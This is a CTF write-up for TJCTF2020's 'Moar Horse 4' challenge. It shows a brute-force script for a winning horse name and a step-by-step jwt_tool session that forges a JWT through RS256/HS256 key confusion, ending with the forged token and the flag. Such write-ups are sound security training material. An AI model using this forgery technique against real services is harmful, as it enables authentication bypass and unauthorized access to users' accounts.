TJCTF2020 - Moar Horse 4

Posted on mar. 02 juin 2020 in CTF

solves : 78

Points: 80

Written by nthistle

It seems like the TJCTF organizers are secretly running an underground virtual horse racing platform! They call it 'Moar Horse 4'... See if you can get a flag from it!

Source

server.zip

Since we have the source, let's take a loot into it:

╰─ tree                    
.
├── horse_names.txt
├── pubkey.pem
├── server.py
├── static
│   ├── css
│   │   └── style.css
│   └── images
│       ├── horse.png
│       └── mechahorse.png
└── templates
    ├── main.html
    ├── new_user.html
    ├── race.html
    ├── race_results.html
    └── store.html

4 directories, 11 files

We can extract some informations from the file server.py:

  • We have a horse name: BOSS_HORSE = "MechaOmkar-YG6BPRJM"
  • token = jwt.encode(data, PRIVATE_KEY, "RS256") : the website use JWT token with RS256 algorithm
  • your_speed = int(hashlib.md5(("Horse_" + race_horse).encode()).hexdigest(), 16) : how the speed of a horse in compute

Let's get a look closer to this line:

your_speed = int(hashlib.md5(("Horse_" + race_horse).encode()).hexdigest(), 16)

First, the hors name is added after the sting Horse_. Then, Python encodes it to bytes before hash the result with MD5. And finally, we convert the hash into int from Hexadecimal base.

We can have the target speed to beat since we have the boss's horse name:

>>> int(hashlib.md5(("Horse_MechaOmkar-YG6BPRJM").encode()).hexdigest(), 16)
340282329007027273925800828829408515216

Quite a rapid horse!

Ok, let's visit to the website and get a valid JWT token. We can edit it with jwt_tool.

╰─ python3 jwt_tool.py "eyJ0eXAiOiJKV1QiLCJhbGciOiJSUzI1NiJ9.eyJ1c2VyIjp0cnVlLCJpc19vbWthciI6ZmFsc2UsIm1vbmV5IjoxMDAsImhvcnNlcyI6W119.IwmdkE7qMzr_TzW_RvloMIz_36QKnGVcxh2FW7oUnVRztoyeRQd-LDuIXyPn7dyCaaeLLI3wXCeokCrnoBwdpqNFNInyzJEZORxBiGgHpHBpOAdVxhGOGN1dWw0pEw1so-VhGKCI5DVOtuKM_VXHqTbUtMKvoHYjwDIOTisQr1VJRR81Tu6uqzA6nf0Deu943KOMF42MEcI7yGjAwpoYMkz9CF3dX9dX1MrEIJZeN19iyfSB7apgm71gJqPJBTiI0xFKH1TXQHHfViaF8stdqDlPKo4FgWe1Ol5Zqf-fBqkv4GK_DyR36ws9Aw32ompXEPicR26JY_4nK8d_EJE5gxceN7az1xkVy9OQEpSuNDQDYBNrE7-gUtL8Q1PcwOkqN_RRT1XSEg_Cr05QOr6FDsbClQihx-Wf5pY_p58fu81_NbQRzjvQIYEBShJ6GVEXf4DB8W5SkA-KR17TdHxT7uWi270KBEQ92AWH4XtRRN01dR65px01X1M1MbkYvuPE3_QoegeN6_TP3GLEB4fMQyha_zD_OWp8Z8mzrcNERrR0933ODXujtPfQwgf7oqYXVjyfo3QYDsjgCBMejqyeIgzvVc-KpLyauDQPCxsqNalCUFwqo-0wkGJUkYAG0fwVbyi2AeWIJGPdBPF1cJ6-fkctoMwDvBzoGJnbcF93Gmc"

   $$$$$\ $$\      $$\ $$$$$$$$\  $$$$$$$$\                  $$\ 
   \__$$ |$$ | $\  $$ |\__$$  __| \__$$  __|                 $$ |
      $$ |$$ |$$$\ $$ |   $$ |       $$ | $$$$$$\   $$$$$$\  $$ |
      $$ |$$ $$ $$\$$ |   $$ |       $$ |$$  __$$\ $$  __$$\ $$ |
$$\   $$ |$$$$  _$$$$ |   $$ |       $$ |$$ /  $$ |$$ /  $$ |$$ |
$$ |  $$ |$$$  / \$$$ |   $$ |       $$ |$$ |  $$ |$$ |  $$ |$$ |
\$$$$$$  |$$  /   \$$ |   $$ |       $$ |\$$$$$$  |\$$$$$$  |$$ |
 \______/ \__/     \__|   \__|$$$$$$\__| \______/  \______/ \__|
 Version 1.3.4                \______|              @ticarpi     


=====================
Decoded Token Values:
=====================

Token header values:
[+] typ = "JWT"
[+] alg = "RS256"

Token payload values:
[+] user = True
[+] is_omkar = False
[+] money = 100
[+] horses = []
[...]

Ok, now we have a valid token. But, before the race, we need to find a horse name speeder than the boss one. We can brute-force it with generate random name and check it the result with this name is bigger:

import random
import string
import hashlib

def get_random_alphaNumeric_string(stringLength=16):
    lettersAndDigits = string.ascii_letters + string.digits
    return ''.join((random.choice(lettersAndDigits) for i in range(stringLength)))

target = int(hashlib.md5(("Horse_MechaOmkar-YG6BPRJM").encode()).hexdigest(), 16)


horse_name = get_random_alphaNumeric_string()
current = int(hashlib.md5(("Horse_"+horse_name).encode()).hexdigest(), 16)

while target > current:
    horse_name = get_random_alphaNumeric_string()
    current = int(hashlib.md5(("Horse_To-the-flag-"+horse_name).encode()).hexdigest(), 16)
    pass

print(horse_name)
print(current)
╰─ python hrose_name.py 
fqXAic5PcqpNOvWM
340282346669807837605444135570825176873

We can now edit back the JWT token and add our new horse name to the list.

This tool offer us to edit any value to the token and try some attack to validate this edits. The website use RS256 and we have the public key, we can use the HS/RS confusion.

Please make a selection (1-8)
> 1

====================================================================
This option allows you to tamper with the header, contents and 
signature of the JWT.
(Force string values in claims by enclosing in "double quotes"
====================================================================

Token header values:
[1] typ = "JWT"
[2] alg = "RS256"
[3] *ADD A VALUE*
[4] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token payload values:
[1] user = True
[2] is_omkar = False
[3] money = 100
[4] horses = []
[5] *ADD A VALUE*
[6] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 4

Current value of horses is: []
Please enter new value and hit ENTER

> ['fqXAic5PcqpNOvWM']
[1] user = True
[2] is_omkar = False
[3] money = 100
[4] horses = ['fqXAic5PcqpNOvWM']
[5] *ADD A VALUE*
[6] *DELETE A VALUE*
[0] Continue to next step

Please select a field number:
(or 0 to Continue)
> 0

Token Signing:
[1] Sign token with known HMAC-SHA 'secret'
[2] Sign token with RSA/ECDSA Private Key
[3] Strip signature using the "none" algorithm
[4] Sign with HS/RSA key confusion vulnerability
[5] Sign token with key file
[6] Inject a key and self-sign the token (CVE-2018-0114)
[7] Self-sign the token and export an external JWKS
[8] Keep original signature

Please select an option from above (1-5):
> 4

Please enter the Public Key filename:
> pubkey.pem

====================================================================
This option takes an available Public Key (the SSL certificate from 
a webserver, for example?) and switches the RSA-signed 
(RS256/RS384/RS512) JWT that uses the Public Key as its 'secret'.
====================================================================
File loaded: pubkey.pem

Set this new token as the AUTH cookie, or session/local storage data (as appropriate for the web application).
(This will only be valid on unpatched implementations of JWT.)

eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VyIjp0cnVlLCJpc19vbWthciI6ZmFsc2UsIm1vbmV5IjoxMDAsImhvcnNlcyI6WyJmcVhBaWM1UGNxcE5PdldNIl19.G7DkuL3tsxmvHCnWs1jYzNK7altEuMJebYu8CGbiNCY

We replace the current one in the browser with the one generated. We have now our horse in the race list.

MoarHorse4.png

You select the horse in the list and:

You won!
Here's your flag: tjctf{w0www_y0ur_h0rs3_is_f444ST!}